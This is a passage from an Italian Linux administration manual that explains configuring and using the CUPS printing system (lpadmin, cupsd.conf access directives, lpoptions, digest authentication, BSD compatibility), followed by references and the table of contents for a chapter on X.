-c ***classe***	Abbina la stampante logica (specificata con l'opzione '**-p**') a una classe.
-r ***classe***	Toglie la stampante logica (specificata con l'opzione '**-p**') dalla classe specificata.
-v ***uri***	Abbina la stampante a un dispositivo di stampa, oppure a un servizio remoto.
-P ***file_ppd***	Abbina un file PPD, contenente le informazioni necessarie a usare la stampante.
-E	Abilita la stampante logica e consente di inviarle dei processi di stampa.

Una volta definita una stampante logica, questa può essere abilitata e disabilitata con i comandi '**cupsenable**' e '**cupsdisable**' rispettivamente (l'opzione '**-E**' di '**lpadmin**' abilita contestualmente la stampante logica); inoltre, i processi di stampa possono essere accettati o rifiutati. La distinzione tra i due tipi di controlli sta nel fatto che la disabilitazione ferma la stampa, ma non impedisce l'accodarsi di altri processi di stampa; nel secondo caso si impedisce proprio l'aggiunta di altri processi. I comandi di disabilitazione e di rifiuto, hanno in comune l'opzione '**-r**', con cui è possibile descriverne il motivo. La tabella successiva riepiloga l'uso di questi comandi di controllo.

Tabella 30.112. Comandi di contorno a '**lpadmin**'.

Comando	Descrizione
`cupsenable` [***stampante_logica*** | ***classe***]	Abilita il funzionamento della stampante logica o della classe indicata.
`cupsdisable` [`-r` ***motivazione***] [***stampante_logica*** | ***classe***]	Disabilita il funzionamento della stampante logica o della classe indicata, specificando eventualmente la motivazione.
`cupsaccept` [***stampante_logica*** | ***classe***]	Fa sì che la stampante logica o la classe indicata accetti dei nuovi processi di stampa.
`cupsreject` [`-r` ***motivazione***] [***stampante_logica*** | ***classe***]	Impedisce l'invio alla stampante logica o alla classe di nuovi processi di stampa.

Le ***classi*** sono dei raggruppamenti di stampanti logiche, a cui si può fare riferimento. In pratica, si può inviare un processo di stampa a una classe invece che a una stampante logica ben precisa; in tal modo è il sistema di stampa a decidere quale deve essere la stampante vera e propria che deve eseguire il lavoro, nell'ambito della classe stessa.

I comandi di controllo già descritti funzionano quindi anche in riferimento alle classi; tuttavia, occorre considerare che le stampanti logiche non ereditano i comandi dati alle classi. In questo modo, si può disabilitare una classe, ma ciò non disabilita implicitamente le stampanti che ne fanno parte.

Le informazioni sulle stampanti logiche e sulle classi vengono memorizzate all'interno di due file: '`/etc/cups/printers.conf`' e '`/etc/cups/classes.conf`'. Si tratta di file di testo che, teoricamente, possono essere modificati a mano, ma in generale conviene lasciare fare a '**lpadmin**' e agli altri comandi di controllo.

30.9.3 Configurazione principale del servizio di stampa

Cups si configura principalmente attraverso il file '`/etc/cups/cupsd.conf`'. La configurazione standard prevede che sia consentito l'accesso al servizio dalla rete, attraverso la porta 631, ma l'amministrazione remota e l'accesso al servizio di stampa potrebbero risultare esclusi.

Il file di configurazione è un file di testo normale, in cui le righe bianche e quelle vuote vengono ignorate; inoltre i commenti sono introdotti dal simbolo '**#**' e conclusi dalla fine della riga. La prima parte del file di configurazione è utilizzato normalmente per una serie di direttive globali, che hanno la forma di assegnamenti, del tipo:

opzione valore_associato

Alcune di queste direttive sono descritte nella tabella successiva.

Tabella 30.113. Alcune direttive del file di configurazione '/etc/cups/cupsd.conf'.

Direttiva	Descrizione
AccessLog {*file* | syslog} PageLog {*file* | syslog} ErrorLog {*file* | syslog}	Le direttive specificano rispettivamente il file delle registrazioni da usare per annotare gli accessi, le pagine stampate (ogni pagina stampata ha una propria registrazione) e gli errori. Se si usa la parola chiave '**syslog**', questi messaggi vengono inviati al registro di sistema.
LogLevel {debug2 | debug↵ ↪ | info | warn | error | none}	Specifica il livello di dettaglio delle annotazioni che riguardano gli errori. La parola chiave '**debug2**' richiede una registrazione completa, mentre '**none**' annulla qualunque registrazione. Le altre parole chiave rappresentano ordinatamente dei valori intermedi.
DataDir ***directory***	Specifica la directory a partire dalla quale sono collocati vari file di dati di Cups. Generalmente si tratta di '/usr/share/cups/'.
DocumentRoot ***directory***	Specifica la directory a partire dalla quale sono collocati i file usati dal servizio HTTP incorporato in Cups. In altri termini, per ciò che riguarda la configurazione comune, corrisponde a *http://localhost:631/*.
ServerRoot ***directory***	Specifica la directory a partire dalla quale si articolano i file di configurazione. Di solito si tratta di '/etc/cups/'.
Printcap ***file***	Specifica il file da usare al posto del tradizionale '/etc/printcap', allo scopo di garantire la compatibilità con i programmi che vanno a leggerlo per conoscere le code di stampa disponibili.
User ***utente*** Group ***gruppo***	Specifica l'utente e il gruppo da usare quando Cups avvia dei sottoprocessi. Si tratta normalmente dell'utente '**lp**' e del gruppo '**sys**'.
TempDir ***directory***	Specifica la directory temporanea da usare per la creazione di file temporanei. Questa directory, che normalmente corrisponde a '/var/spool/cups/tmp/', deve essere accessibile in scrittura dall'utente e dal gruppo specificati con le direttive '**User**' e '**Group**'.
Port ***n_porta*** Listen ***nodo*** [:***n_porta***]	La direttiva '**Port**' specifica una porta alla quale Cups deve mettersi in ascolto. La porta predefinita è 631, che notoriamente è riservata al protocollo IPP. La direttiva '**Listen**' consente di definire un nodo di rete a cui concedere accesso, che deve rivolgersi eventualmente alla porta indicata dopo i due punti. Una o più direttive '**Listen**', usate da sole, senza alcuna direttiva '**Port**', consentono in pratica di limitare l'accesso al servizio di stampa, escludendo tutti gli altri.
Browsing {On | Off}	Abilita o disabilita la risposta a interrogazioni circolari e l'utilizzo dello stesso sistema per interrogare la disponibilità di altre stampanti dalla rete.
BrowseAddress ***indirizzo_broadcast***	Permette di stabilire l'indirizzo broadcast da usare per le interrogazioni circolari. Di solito si usa quello corrispondente alla propria rete locale.
BrowseAllow ***modello_nodi*** BrowseDeny ***modello_nodi***	La direttiva '**BrowseAllow**' consente, mentre la direttiva '**BrowseDeny**' vieta, l'interrogazione circolare del servizio di stampa ai nodi di rete specificati dal modello.

Direttiva	Descrizione
`BrowseOrder {allow,deny|deny,allow}`	Definisce l'ordine di analisi delle direttive '**`BrowseAllow`**' e '**`BrowseDeny`**'. La sequenza '**`allow,deny`**' fa sì che i pacchetti di interrogazione siano accettati a meno che espressamente rifiutati; la sequenza '**`deny,allow`**' fa sì che i pacchetti di interrogazione siano rifiutati a meno che espressamente accettati.
`BrowsePoll` ***nodo*:*porta***	Permette di richiedere espressamente l'interrogazione del nodo di rete indicato, alla porta specificata.
`ImplicitClass {On|Off}`	Abilita o disabilita la definizione di classi implicite. Si può avere una classe implicita quando in una rete più elaboratori offrono l'accesso a una stampante denominata nello stesso modo.
`SystemGroup` ***gruppo***	Stabilisce il gruppo a cui deve appartenere un utente per essere classificato come '**`System`**' in fase di autenticazione. Di solito, l'utente viene aggregato al gruppo stabilito in questo modo nel file '`/etc/group`'.

Generalmente, la parte finale del file di configurazione è occupato da direttive racchiuse in contesti particolari, definiti come ***collocazioni***. Questo tipo di informazioni viene preso in considerazione in seguito, in occasione della descrizione dell'amministrazione remota attraverso il protocollo HTTP. Tuttavia, si tenga presente che per consentire l'accesso di richieste di stampa, occorre intervenire proprio all'interno di queste collocazioni.

Per abilitare l'accesso al servizio di stampa da parte di altri elaboratori, oltre che configurare la collocazione corrispondente alle stampanti (viene mostrato in seguito), occorre che il demone '**`cupsd`**' sia in ascolto della porta prevista e consenta l'accesso a tali elaboratori. Si può usare la direttiva '**`Port`**' per indicare una o più porte differenti rispetto allo standard, costituito da 631; inoltre, la direttiva '**`Listen`**' consente di specificare un nodo di rete particolare, nel caso si voglia limitare questo accesso. Infatti, se si usano solo direttive '**`Listen`**', senza alcuna direttiva '**`Port`**', si esclude di fatto l'accesso da parte di tutti gli altri nodi di rete.

Eventualmente, può essere consentita l'interrogazione (ovvero la scansione) del servizio, attraverso richieste circolari. Ciò permette ad altri nodi di rete di venire a conoscenza dell'esistenza di un servizio di stampa nel proprio elaboratore. Nello stesso modo, si può consentire al demone '**`cupsd`**' di fare altrettanto alla ricerca di altri servizi di stampa alla propria portata. Per questo, si usano le direttive del tipo '**`Brows*`**'.

Cups non ha bisogno del file '`/etc/printcap`', né di un altro equivalente. Tuttavia, altri programmi potrebbero richiedere la sua presenza per conoscere la disponibilità di code di stampa. Cups può quindi tenere aggiornato questo file, in base alla disponibilità di stampanti logiche e di classi. Per esempio, il contenuto di questo file potrebbe apparire così:

```
laser1:
laser2:
```

Come si intende, tutti gli altri campi dei record tipici di questo file, sono assenti. La direttiva '**`Printcap`**' può servire a specificare un file diverso dal solito '`/etc/printcap`', nel caso si desideri conservare un vecchio file del genere, adatto a un sistema di stampa BSD.

Quando si modifica la configurazione del servizio, intervenendo nel file '`/etc/cups/cupsd.conf`', è necessario fare in modo che il demone '**`cupsd`**' la rilegga. Per farlo deve ricevere un segnale di aggancio:

```
# killall -HUP cupsd[Invio]
```

30.9.4 Configurazione dal lato dei clienti

Esiste anche una configurazione che riguarda le richieste di stampa da parte dei clienti, intesi come gli elaboratori o semplicemente i programmi che accodano dei processi di stampa. Il file di configurazione principale è '/etc/cups/client.conf', a cui si possono affiancare dei file personali, di ogni utente, corrispondenti a '~/.cupsrc'. Generalmente, questi file di configurazione non contengono direttive; tuttavia potrebbero servire per indirizzare la stampa verso un servizio particolare, diverso da uno residente presso lo stesso elaboratore locale.

Per esempio, l'utente che vuole stampare in modo predefinito usando il servizio offerto dall'elaboratore *dinkel.brot.dg*, deve indicare nel proprio file '~/.cupsrc' una direttiva come quella seguente:[15]

```
ServerName dinkel.brot.dg
```

Questi file di configurazione, utili dal lato cliente, consentono anche di specificare il tipo di comunicazione che ci deve essere: in chiaro o cifrato. Tuttavia, la disponibilità del sistema cifrato dipende dal modo in cui viene compilato Cups, che così potrebbe includere o meno le librerie necessarie.

30.9.5 Utilizzo comune attraverso la riga di comando

Il servizio di stampa di Cups può essere usato normalmente con i comandi standard di un sistema BSD o System V. La tabella 30.116 riepiloga le situazioni più comuni a questo riguardo. Tuttavia, si deve tenere presente, in particolare, che una coda di stampa può essere specificata indicando un nome locale, oppure un nome remoto, nella forma:[16]

nome@***nodo***

Tabella 30.116. I comandi più comuni per la stampa, come da tradizione.

Comando	Descrizione
lp ***file*** lpr ***file***	Invia alla coda di stampa predefinita il file indicato.
lpstat -p lpstat -p -d	Ottiene un elenco delle stampanti logiche disponibili; nel secondo caso si viene a conoscere anche quale risulta essere la stampante logica o la classe predefinita.
lp -d ***coda*** ***file*** lpr -P ***coda*** ***file***	Invia il file alla stampante logica o alla classe indicata.
lp [-d ***coda***] -n ***n_copie*** ***file*** lpr [-P ***coda***] -#***n_copie*** ***file***	Invia il file alla stampante logica o alla classe indicata, o a quella predefinita, per ottenerne la quantità di copie specificate.

Comando	Descrizione
lpstat lpstat -o	Ottiene un elenco dei processi di stampa accodati dall'utente stesso.
lpstat -p	Ottiene un elenco dei processi di stampa attivi appartenenti all'utente.
lpstat -o -p	Ottiene un elenco dei processi di stampa accodati dall'utente e di quelli attivi.
lpq [-E ***coda***]	Ottiene un elenco dei processi di stampa di una coda particolare, oppure di tutte le code.
cancel ***processo_di_stampa*** lprm [***processo_di_stampa***]	Elimina il processo di stampa specificato; nel caso di '**lprm**' si può omettere, a indicare di intervenire sul primo processo disponibile (quello attivo, oppure il primo di quelli in coda). Il processo di stampa è identificato da una stringa di riconoscimento che può essere consultata con '**lpstat**'.

Per quanto riguarda '**lpr**' e '**lp**', occorre considerare che rimane la possibilità di inviare un file alla stampa attraverso lo standard input, anche se dalla tabella ciò non appare evidente.

Ciò che rende speciale Cups è la possibilità di usare i comandi '**lp**' o '**lpr**' con l'opzione '**-o**', che può anche apparire più volte, attraverso la quale si possono indicare molte altre richieste particolari. La tabella successiva riepiloga brevemente queste possibilità.

Tabella 30.117. L'opzione '**-o**' dei comandi '**lpr**' e di '**lp**'.

Comando	Descrizione
-o raw	Disabilita l'intermediazione di qualsiasi filtro, mandando il file direttamente alla stampante.
-o landscape	Stampa in orizzontale, mentre in condizioni normali la stampa avviene in verticale.
-o media={Letter|Legal|A4⮐ ↪|***altri_formati***}	Stampa utilizzando carta del formato indicato.
-o sides=two-sides-long-edge -o sides=two-sides-short-edge	Stampa fronte e retro con una stampante duplex. La differenza nelle due opzioni sta nel modo in cui viene ruotata la pagina posteriore.
-o sides=one-side	Stampa su un solo lato.
-o job-sheets=⮐ ↪{none|standard|***altri_tipi***}⮐ ↪[,{none|standard|***altri_tipi***}]	Richiede di stampare una pagina di separazione. La parola chiave '**none**' annulla tale richiesta, mentre altre parole chiave descrivono un tipo particolare di pagina di separazione. Se si indica una parola chiave dopo la virgola, si richiede una pagina di separazione anche alla fine della stampa.
-o page-ranges=⮐ ↪***n_pag_iniziale***[-***n_pag_finale***]⮐ ↪[***, intervallo_pagine***]...	Seleziona uno o più intervalli di pagine.
-o page-set={odd|even}	Seleziona le pagine dispari, oppure quelle pari.
-o number-up=***n***	Stampa ***n*** pagine logiche in una sola pagina reale. La scelta di valori è limitata.

Comando	Descrizione
`-o brightness=`***n***	Stampa con una luminosità del ***n*** %, dove il valore 100 rappresenta la tonalità normale e valori superiori schiariscono in proporzione il risultato, mentre valori inferiori lo anneriscono.
`-o gamma=`***n***	Stampa con un contrasto di ***n***/1000, dove il valore 1000 rappresenta la gamma e valori superiori aumentano, mentre valori inferiori diminuiscono in proporzione la gamma.
`-o cpi=`***n***	Nel caso di stampa di testo puro, definisce la densità orizzontale di caratteri per pollice.
`-o lpi=`***n***	Nel caso di stampa di testo puro, definisce la densità verticale di righe per pollice.
`-o columns=`***n***	Nel caso di stampa di testo puro, definisce la quantità di colonne in cui dividere lo spazio della pagina.
`-o page-left=`***n*** `-o page-right=`***n*** `-o page-top=`***n*** `-o page-bottom=`***n***	Nel caso di stampa di testo, definisce dei margini alla pagina, rispettivamente sinistro, destro, superiore e inferiore. Il valore che si attribuisce rappresenta una quantità di punti PostScript, dove un punto equivale a 1/72 di pollice.
`-o prettyprint`	Nel caso di stampa di testo, abbellisce la stampa con un'intestazione; inoltre, se il contenuto viene riconosciuto da Cups, questo viene evidenziato secondo le sue caratteristiche.

`-o position=center`
`-o position=left`
`-o position=top-left`
`-o position=top`
`-o position=top-right`
`-o position=right`
`-o position=bottom-right`
`-o position=bottom`
`-o position=bottom-left`
	Nel caso di un'immagine, la colloca nella posizione specificata dalla parola chiave che si assegna all'argomento '**`position`**'.

`-o scaling=`***n***	Definisce la dimensione di un'immagine, in relazione allo spazio nella pagina. Un valore pari a 100, rappresenta lo spazio massimo a disposizione; valori inferiori producono un'immagine più piccola; valori superiori producono immagini più grandi, in relazione, con la stampa su più pagine.
`-o ppi=`***n***	Definisce la densità di punti per pollice della stampa. Maggiore è questo valore, minore diviene di conseguenza quella dell'immagine stampata.
`-o natural-scaling=`***n***	Definisce la scala dell'immagine in percentuale.
`-o hue=`***n***	Definisce il valore della tinta. Zero corrisponde alla situazione di partenza e si possono attribuire valori in un intervallo che va da −360 a 360.

Comando	Descrizione
`-o saturation=`***n***	Definisce il valore della saturazione del colore. Il valore esprime una percentuale, dove 100 è la posizione normale, mentre zero corrisponde al solo bianco e nero.

30.9.6 Personalizzazione dal lato cliente

Ogni utente può configurare per conto proprio la stampa. Per questo si utilizza il comando '**`lpoptions`**', che si usa fondamentalmente come riepilogato nella tabella 30.118.

Tabella 30.118. Utilizzo del comando '**`lpoptions`**'.

Comando	Descrizione
`lpoptions` [`-p` ***stampante_logica*** [`/`***istanza***]] ↩ ↪`-o` ***opzioni_comuni*** [`-o` ***opzioni_comuni***]...	Configura la stampante logica indicata, oppure quella predefinita in sua mancanza, con le opzioni indicate.
`lpoptions -d` ***coda***	Definisce la coda di stampa predefinita, che può essere una stampante logica (locale o remota), oppure una classe. Nel contempo, mostra le differenze di configurazione rispetto a quanto predefinito.
`lpoptions -x` ***coda***	Cancella la configurazione associata alla coda indicata.

In particolare, l'opzione '**`-o`**' si usa nello stesso modo dei comandi '**`lp`**' e '**`lpr`**', cioè come indicato nelle tabelle ??a2 t cups opzioni o 1?? e ??a2 t cups opzioni o 2??.

30.9.6.1 Istanze

Fino a questo punto si è fatto riferimento alle code come a un concetto che include simultaneamente le stampanti logiche e le classi; in pratica, per Cups le code includono anche le istanze di una stampante logica. Nell'ambito della configurazione delle stampanti, si possono definire delle ***istanze***, che rappresentano un modo di distinguere configurazioni differenti per una stessa stampante logica. Si osservi l'esempio seguente:

`$` **`lpoptions -p laser/ridotta -o number-up=4`** [*Invio*]

In questo modo si vuole definire l'istanza '**`ridotta`**' che si riferisce alla stampante logica '**`laser`**', dove si ottengono quattro pagine logiche per ogni pagina reale, senza modificare la configurazione normale della stampante logica. Per utilizzare questa configurazione, i comandi '**`lp`**' e '**`lpr`**' possono fare riferimento all'istanza, completa del nome della stampante:

`$` **`lp -d laser/ridotta prova.ps`** [*Invio*]

Oppure:

`$` **`lpr -P laser/ridotta prova.ps`** [*Invio*]

In questi esempi, si fa riferimento evidentemente alla stampa del file '`prova.ps`'.

30.9.7 Accesso remoto

Il protocollo IPP è stato ideato per arrivare fino all'amministrazione remota di una stampante attraverso il protocollo HTTP, dove il servizio di stampa risponde come se fosse un servente HTTP, interrogato da un navigatore comune sulla porta TCP 631. Cups applica in pieno questa filosofia e consente l'amministrazione remota, con le limitazioni definite nel file '/etc/cups/cupsd.conf'.

30.9.7.1 Configurazione per l'accesso remoto al servente IPP Cups

Nel file di configurazione '/etc/cups/cupsd.conf', alcune direttive consentono di delimitare l'accesso remoto al servizio IPP di Cups. Si tratta precisamente di direttive nella forma:

```
<Location percorso>
direttiva
...
</Location>
```

Il percorso rappresenta realmente, o idealmente, una directory che parte dalla posizione stabilita con la direttiva '**DocumentRoot**', che in condizioni normali corrisponde a '/usr/share/doc/cups/', o simile. Per esempio, una direttiva del tipo '**<Location /prova>**' dovrebbe riferirsi in pratica alla directory o al file '/usr/share/doc/cups/prova'.

Molte delle direttive '**Location**' fanno riferimento a directory che in realtà non esistono e hanno un significato particolare. La tabella successiva descrive brevemente il loro scopo. Il controllo dell'accesso a queste directory speciali si traduce in un controllo corrispondente all'accesso delle funzionalità di amministrazione remota.

Tabella 30.119. Directory virtuali controllabili con le direttive '**Location**'.

Directory	Descrizione
'/admin'	Il percorso per le operazioni amministrative.
'/classes'	Il percorso per il controllo delle classi.
'/classes/*classe*'	Il percorso per il controllo di una classe particolare.
'/jobs'	Il percorso per il controllo dei processi di stampa.
'/printers'	Il percorso per il controllo delle stampanti logiche.
'/printers/*stampante_logica*'	Il percorso per il controllo di una stampante logica particolare.

Prima di queste direttive, ne appare normalmente una particolare, con cui si definisce il gruppo degli utenti amministratori:

```
SystemGroup lpadmin
```

In questo caso si dichiara che '**lpadmin**' è il gruppo degli amministratori riconosciuti. In pratica, gli utenti che devono amministrare Cups vengono aggregati al gruppo indicato nel file '/etc/group'; tuttavia, non dovrebbe essere necessario fare questo per l'utente '**root**', che è già parte di tutti i gruppi, per ciò che riguarda Cups.

Le direttive più comuni che possono apparire nell'ambito della delimitazione di una direttiva '**`Location`**', sono elencate brevemente nella tabella successiva.

Tabella 30.120. Direttive utilizzabili nell'ambito di un gruppo '**`Location`**', nel file di configurazione '`/etc/cups/cupsd.conf`'.

Direttiva	Descrizione
`AuthType` {`None`|`Basic`↩ ↪|`Digest`}	Definisce il modo in cui deve essere identificato l'accesso. La parola chiave '**`None`**' indica che non si richiede alcuna autenticazione; '**`Basic`**' utilizza un nominativo utente e una parola d'ordine che deve corrispondere a un'utenza del sistema operativo; '**`Digest`**' utilizza un nominativo utente e una parola d'ordine che deve corrispondere a un'utenza specifica di Cups.
`AuthClass` {`Anonymous`↩ ↪|`User`|`System`|`Group`}	Limita l'accesso in base all'appartenenza a una categoria: la parola chiave '**`Anonymous`**' annulla qualunque richiesta di autenticazione; '**`User`**' consente l'accesso a tutti gli utenti che riescono a identificarsi come tali; '**`System`**' consente l'accesso agli utenti che appartengono al gruppo definito con la direttiva '**`SystemGroup`**'; '**`Group`**' consente l'accesso agli utenti che appartengono al gruppo definito dalla direttiva '**`AuthGroupName`**'.
`AuthGroupName` ***gruppo***	Definisce il gruppo a cui devono appartenere gli utenti che vogliono accedere quando la direttiva '**`AuthGroup`**' indica la parola chiave '**`Group`**'.
`Order` {`allow,deny`↩ ↪|`deny,allow`}	Definisce l'ordine di analisi delle direttive '**`Allow`**' e '**`Deny`**'. La sequenza '**`allow,deny`**' fa sì che l'accesso sia accettato a meno che espressamente rifiutato; la sequenza '**`deny,allow`**' fa sì che l'accesso sia rifiutato a meno che espressamente accettato.
`Allow` ***modello_nodi*** `Deny` ***modello_nodi***	Consente o vieta l'accesso al gruppo di nodi di rete specificato dal modello.

L'esempio seguente riguarda un piccolo estratto del file '`/etc/cups/cupsd.conf`':

Listato 30.121.

```
SystemGroup lpadmin

<Location />
Order Deny,Allow
Allow From 127.0.0.1
Allow From 192.168.1.*
</Location>

<Location /admin>
AuthType Basic
AuthClass System
Order Deny,Allow
Allow From 127.0.0.1
Allow From 192.168.1.*
</Location>
```

In questo modo, se non vengono dichiarate altre posizioni, tutto risulta accessibile dall'elaboratore locale (127.0.0.1) e dalla rete 192.168.1.*; tuttavia, nel caso particolare della posizione '/admin', è richiesta un'autenticazione basata sul riconoscimento dell'utente nel sistema e la sulla sua appartenenza al gruppo di sistema (come stabilito nella direttiva '**SystemGroup**'.

30.9.7.2 Accesso a una coda remota

Come già accennato in precedenza, si può fare riferimento a una coda di stampa, con i comandi '**lp**' e '**lpr**', anche nella forma:

nome*@*nodo

Tuttavia, l'elaboratore che si intende raggiungere, deve consentire l'accesso. Per questo si deve consentire l'accesso alla posizione '/printers', oppure, in modo più dettagliato, alla posizione '/printers/***nome***'. Nell'esempio del listato 30.121, la posizione '/printers' eredita la configurazione da quella della radice:

```
<Location />
Order Deny,Allow
Allow From 127.0.0.1
Allow From 192.168.1.*
</Location>
```

In questo modo, si consente l'accesso dalla rete 192.168.1.*, senza richiedere alcuna autenticazione.

Quando una classe o una stampante logica di un elaboratore remoto è accessibile a quello locale, '**lpstat**' segnala la disponibilità di queste code, come se si trattasse di stampanti locali. Tuttavia, perché ciò accada è necessario che sia stata concessa l'interrogazione con le direttive '**Brows***', già descritte in precedenza.

Inoltre, se più elaboratori mettono a disposizione una stampante logica con uno stesso nome, si può creare una classe implicita, con quello stesso nome, a meno che ciò sia stato disabilitato espressamente nel file di configurazione.

30.9.7.3 Autenticazione digest

Nel file di configurazione '/etc/cups/cupsd.conf', all'interno delle direttive che delimitano l'accesso a una posizione particolare, la direttiva '**AuthType**' consente di richiedere e specificare il tipo di autenticazione. Il tipo '**Basic**' richiede che l'utente si identifichi attraverso il proprio nominativo e la parola d'ordine usati normalmente per accedere al sistema. Al contrario, il tipo '**Digest**' richiede un nominativo e una parola d'ordine annotati nel file '/etc/cups/passwd.md5'.

Il principio di funzionamento di questo file è simile a quello usato dai sistemi Unix nel file '/etc/passwd', con la differenza che la parola d'ordine viene cifrata con un algoritmo differente (MD5, come suggerisce l'estensione del file). Per aggiungere utenti di tipo '**Digest**' e per rimuoverli, si usa il comando '**lppasswd**'.

Tabella 30.123. Il comando '**lppasswd**'.

Comando	Descrizione
lppasswd -a ***nominativo*** [-g ***gruppo***]	Crea un nominativo e lo associa eventualmente a un gruppo.
lppasswd -x ***nominativo***	Elimina un nominativo.

Si crea un nominativo utente con l'opzione '**-a**', in un modo simile a quello seguente:

lppasswd -a pippo [*Invio*]

Enter password ******* [*Invio*]

Enter password again ******* [*Invio*]

Se la parola d'ordine viene ripetuta correttamente e soddisfa i requisiti minimi imposti da '**lppasswd**' (non deve assomigliare al nominativo e deve essere sufficientemente varia), si ottiene l'aggiunta di una riga nel file '/etc/cups/passwd.md5', che potrebbe assomigliare a quella seguente:

```
pippo:sys:d091266158b6c7620c306db2ece25e42
```

Se si usa anche l'opzione '**-g**', come mostrato nella tabella 30.123, si può intervenire anche nel secondo campo, che descrive il nome del gruppo.

Se la richiesta di autenticazione '**Digest**' si integra con la direttiva '**AuthClass**' e viene richiesta l'appartenenza a un gruppo particolare (che può essere quello stabilito dalla direttiva '**AuthGroupName**', oppure '**SystemGroup**', il gruppo che si associa all'utente deve esistere realmente nel sistema Unix e corrispondere a quello richiesto; diversamente l'autenticazione fallirebbe.

30.9.7.4 Problemi di accesso attraverso un proxy

Se ci si avvale di un proxy HTTP, può diventare impossibile l'accesso al servizio di Cups. Per prima cosa, l'indirizzo corrispondente al proxy deve essere ammesso ad accedere; inoltre, ci possono essere dei problemi con la porta TCP: se si consente a Cups di usare la porta 80, può darsi che il proxy riesca ad accedere, ma non è garantito che poi si possano raggiungere le posizioni che richiedono una forma di autenticazione.

30.9.8 Compatibilità con il sistema di stampa BSD

La compatibilità con il sistema di stampa BSD, si attua in due modi. Da un lato, viene mantenuto il file '/etc/printcap' (salvo che gli si voglia cambiare nome per qualche motivo); dall'altro è possibile attivare un demone, '**cups-lpd**', che è in grado di accettare richieste di stampa secondo il vecchio protocollo. Per attivare il demone, occorre intervenire nel file di configurazione '/etc/inetd.conf', aggiungendo un record simile a quello seguente:

```
printer stream tcp nowait lp /usr/lib/cups/daemon/cups-lpd cups-lpd
```

Naturalmente, ci si deve poi prendere cura di informare il supervisore dei servizi di rete (di solito l'eseguibile '**inetd**'), inviando un segnale di aggancio:

```
# killall -HUP inetd[Invio]
```

Inoltre, per poter utilizzare un vecchio servente conforme al protocollo usato dal sistema di stampa BSD, si può farvi riferimento con URI del tipo:

```
lpd://nodo/coda_remota
```

30.9.9 Considerazioni finali

Cups è un sistema di stampa molto complesso e anche molto comodo; tuttavia, il carico elaborativo che si crea nel momento in cui viene accodato un processo di stampa, è molto elevato. In pratica, se l'elaboratore in cui si attiva un servizio di stampa con Cups non ha la potenza sufficiente, si possono generare dei ritardi che inizialmente sembrano inspiegabili; inoltre, se l'elaboratore è particolarmente carente di risorse, si rischia lo stallo del sistema operativo.

30.10 Riferimenti

- L. McLaughlin III, *RFC 1179: Line Printer Daemon Protocol*, 1990

  ⟨*http://www.ietf.org/rfc/rfc1179.txt* ⟩
- Till Kamppeter, Kurt Pfeifle, *Some theoretical background: CUPS, PPDs, PostScript and GhostScript*

  ⟨*http://www.openprinting.org/download/kpfeifle/LinuxKongress2002/Tutorial/III.PostScript-and-PPDs/III.PostScript-and-PPDs.html* ⟩
- *OpenPrinting*

  ⟨*http://www.linuxfoundation.org/collaborate/workgroups/openprinting* ⟩
- Easy Software Products, *Common UNIX printing system*

  ⟨*http://www.cups.org/* ⟩
- PWG, *Internet Printing Protocol*

  ⟨*http://www.pwg.org/ipp/* ⟩
- S. Zilles, *RFC 2568: Rationale for the Structure of the Model and Protocol for the Internet Printing Protocol*, 1999

  ⟨*http://www.ietf.org/rfc/rfc2568.txt* ⟩

[1] **BSD line printing spool system** UCB BSD

[2] **LPRng** GNU GPL o Artistic

[3] **Rlpr** GNU GPL

[4] Se si fanno modifiche al file '`/etc/printcap`' bisogna ricordare di inviare un segnale di aggancio al demone '**`lpd`**' per fare in modo che venga riletto questo file: '**`kill -s SIGHUP`** *pid_di_lpd*'.

[5] **HPIJS** GNU GPL, BSD e MIT

[6] **Apsfilter** GNU GPL

[7] **PSUtils** licenza speciale formulata in modo poco preciso

[8] **Magicfilter** GNU GPL

[9] **Foomatic** GNU GPL

[10] La sigla «RIP» sta per *Raster image processor*.

[11] **A2ps** GNU GPL

[12] **Enscript** GNU GPL

[13] **Cups** GNU GPL

[14] Il protocollo IPP utilizza a sua volta il protocollo HTTP.

[15] Si rammenta che per il momento non è ancora stato spiegato come fare per abilitare l'accesso alle stampanti locali da parte di nodi di rete remoti.

[16] Come già chiarito in precedenza, per coda di stampa si fa riferimento indifferentemente a una classe, una stampante logica o a un'istanza di una stampante logica.

Capitolo 31 X

31.1 Struttura ... 1717

31.1.1 Hardware ... 1718
31.1.2 Cliente-servente ... 1719

31.2 X.Org ... 1720

31.3 Lettura del file di configurazione ... 1721

31.3.1 Sezione «Files» ... 1723
31.3.2 Sezione «ServerFlags» ... 1723
31.3.3 Sezione «InputDevice» ... 1724
31.3.4 Sezione «Monitor» ... 1725
31.3.5 Sezione «Device» ... 1726
31.3.6 Sezione «Screen» ... 1727

31.4 Accesso a un servente di caratteri ... 1728

31.5 Funzionamento e accesso ... 1729

31.5.1 Procedura di avvio ... 1729
31.5.2 Privilegi per il funzionamento di un servente grafico ... 1736
31.5.3 Stazioni grafiche virtuali multiple ... 1736
31.5.4 Definizione dello schermo ... 1737
31.5.5 Accedere allo schermo ... 1737
31.5.6 Accedere allo schermo con Secure Shell ... 1744
31.5.7 Cambiare identità ... 1745
31.5.8 Tipi di carattere ... 1746
31.5.9 X e l'uso senza dispositivo di puntamento ... 1746

31.6 Approfondimento: monitor, adattatore grafico e frequenza dot-clock ... 1748

31.6.1 Autorilevamento con Read-edid ... 1748
31.6.2 Autorilevamento con un servente XFree86 versione 3.* ... 1750
31.6.3 Un po' di teoria ... 1754
31.6.4 Configurazione della sezione «Monitor» di «XF86Config» ... 1761
31.6.5 Rifiniture ... 1766
31.6.6 Altri programmi affini ... 1767

31.7 La tastiera e la sua configurazione «elementare» ... 1767

31.7.1 Livelli, tasti morti, composizione e gruppi ... 1767
31.7.2 Configurazione elementare ... 1770
31.7.3 Geometria ... 1775

31.8 Configurazione più dettagliata della tastiera e del mouse 1777

31.8.1 Componenti della configurazione 1778
31.8.2 Modificatori 1778
31.8.3 Configurazione 1778
31.8.4 Configurazione con «xmodmap» 1784

31.9 Metodi di inserimento intelligente con SCIM 1793

31.9.1 SCIM 1793
31.9.2 Attivazione del metodo di inserimento intelligente 1794
31.9.3 La configurazione locale 1795
31.9.4 Utilizzo 1795

31.10 Gestori di finestre 1797

31.10.1 Twm 1797
31.10.2 Fvwm 1802

31.11 Accorgimenti per la costruzione di un menù 1806

31.11.1 Verifica della disponibilità 1806
31.11.2 Verificare che un programma non sia già in funzione 1807
31.11.3 Informare della fase di avvio del programma 1807
31.11.4 Mettere assieme le varie fasi di controllo 1808
31.11.5 Innesto di un file system 1809
31.11.6 Separazione di un file system 1809

31.12 X: login grafico 1810

